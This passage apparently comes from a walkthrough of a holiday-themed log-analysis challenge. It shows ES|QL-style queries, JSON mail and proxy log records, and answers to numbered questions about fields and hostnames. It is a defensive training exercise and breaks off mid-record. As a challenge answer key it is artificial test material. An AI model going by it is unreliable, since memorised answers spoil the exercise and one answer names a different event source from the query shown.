&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;SnowGlowMailPxy&amp;quot;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; LIMIT &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight json&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;@timestamp&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T15:39:44.000Z&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;@version&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.dataset&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;generic&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.namespace&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;default&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;logs&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.Body&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Dear elf_user04,\n\nI wanted to bring to your attention an urgent issue we are currently experiencing with our supply chain. Our team has encountered unexpected delays in the procurement process, leading to potential disruptions in our production schedule. We kindly request your immediate assistance in resolving this matter and ensuring the smooth flow of materials.\n\nThank you for your attention to this critical matter.\n\nBest regards,\n\nSantaSlinger\n&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.From&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;SantaSlinger@bells.ring&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.Message-ID&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;&amp;lt;4896F6A2-6094-4333-9DD1-0112A45BD967@SecureElfGwy.northpole.local&amp;gt;&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.OpcodeDisplayNameText&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Unknown&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.ReceivedIP1&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.24.25.25&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.ReceivedIP2&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.24.25.20&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.Received_Time&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T11:39:44-04:00&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.Return-Path&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;NorthPolePostmaster@northpole.exchange&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.Subject&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Urgent Supply Chain Matter&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.To&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;elf_user04@northpole.local&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event_source&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;SnowGlowMailPxy&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;host.ip&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.18.0.5&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;hostname&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;SecureElfGwy&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.name&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;user-level&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.facility.name.text&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;user-level&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;5&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.name&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;notice&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;log.syslog.severity.name.text&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;notice&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;tags&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;match&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;syslog&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#125;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; By fetching a random event from &lt;code&gt;NetflowPmacct&lt;/code&gt;, we can see that &lt;code&gt;event.Body&lt;/code&gt; contains the body of the mail. The answer is &lt;code&gt;event.Body&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;Question-8-Using-the-‘GreenCoat’-event-source-what-is-the-only-value-in-the-hostname-field&#34;&gt;&lt;a href=&#34;#Question-8-Using-the-‘GreenCoat’-event-source-what-is-the-only-value-in-the-hostname-field&#34; class=&#34;headerlink&#34; title=&#34;Question 8: Using the ‘GreenCoat’ event_source, what is the only value in the hostname field?&#34;&gt;&lt;/a&gt;Question 8: Using the ‘GreenCoat’ event_source, what is the only value in the hostname field?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;GreenCoat&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; STATS &lt;span class=&#34;built_in&#34;&gt;COUNT&lt;/span&gt;() &lt;span class=&#34;keyword&#34;&gt;BY&lt;/span&gt; hostname&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;COUNT()&lt;/th&gt;
&lt;th&gt;hostname&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;7476&lt;/td&gt;
&lt;td&gt;SecureElfGwy&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;ANSWER:&lt;/strong&gt; &lt;code&gt;SecureElfGwy&lt;/code&gt;&lt;/p&gt;
&lt;h3 id=&#34;Question-9-Using-the-‘GreenCoat’-event-source-what-is-the-name-of-the-field-that-contains-the-site-visited-by-a-client-in-the-network&#34;&gt;&lt;a href=&#34;#Question-9-Using-the-‘GreenCoat’-event-source-what-is-the-name-of-the-field-that-contains-the-site-visited-by-a-client-in-the-network&#34; class=&#34;headerlink&#34; title=&#34;Question 9: Using the ‘GreenCoat’ event_source, what is the name of the field that contains the site visited by a client in the network?&#34;&gt;&lt;/a&gt;Question 9: Using the ‘GreenCoat’ event_source, what is the name of the field that contains the site visited by a client in the network?&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;QUERY:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight sql&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;keyword&#34;&gt;FROM&lt;/span&gt; &lt;span class=&#34;operator&#34;&gt;*&lt;/span&gt; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; &lt;span class=&#34;keyword&#34;&gt;WHERE&lt;/span&gt; event_source &lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;operator&#34;&gt;=&lt;/span&gt; &amp;quot;GreenCoat&amp;quot; &lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;operator&#34;&gt;|&lt;/span&gt; LIMIT &lt;span class=&#34;number&#34;&gt;1&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;RESULTS:&lt;/strong&gt;&lt;/p&gt;
&lt;figure class=&#34;highlight json&#34;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&#34;gutter&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;1&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;2&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;3&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;4&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;5&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;6&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;7&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;8&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;9&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;10&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;11&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;12&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;13&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;14&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;15&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;16&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;17&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;18&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;19&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;20&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;21&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;22&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;23&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;24&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;25&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;26&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;27&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;28&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;29&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;30&lt;/span&gt;&lt;br&gt;&lt;/pre&gt;&lt;/td&gt;&lt;td class=&#34;code&#34;&gt;&lt;pre&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;punctuation&#34;&gt;&amp;#123;&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;@timestamp&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T15:32:48.000Z&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;@version&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;1&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.dataset&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;generic&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.namespace&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;default&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;data_stream.type&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;logs&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.OpcodeDisplayNameText&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;Unknown&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.additional_info&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;outgoing via 172.24.25.25&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.host&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;SleighRider&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.http_protocol&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;HTTP/1.1&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.ip&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;172.24.25.12&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.method&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;CONNECT&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.protocol&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;HTTPS&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.response_size&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.status_code&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;number&#34;&gt;200&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span class=&#34;attr&#34;&gt;&amp;quot;event.timestamp&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;string&#34;&gt;&amp;quot;2024-09-16T15:32:48.000Z&amp;quot;&lt;/span&gt;&lt;span class=&#34;punctuation&#34;&gt;,&lt;/span&gt;&lt;/span&gt;&lt;br&gt;&lt;span class=&#34;line&#34;&gt;  &lt;span 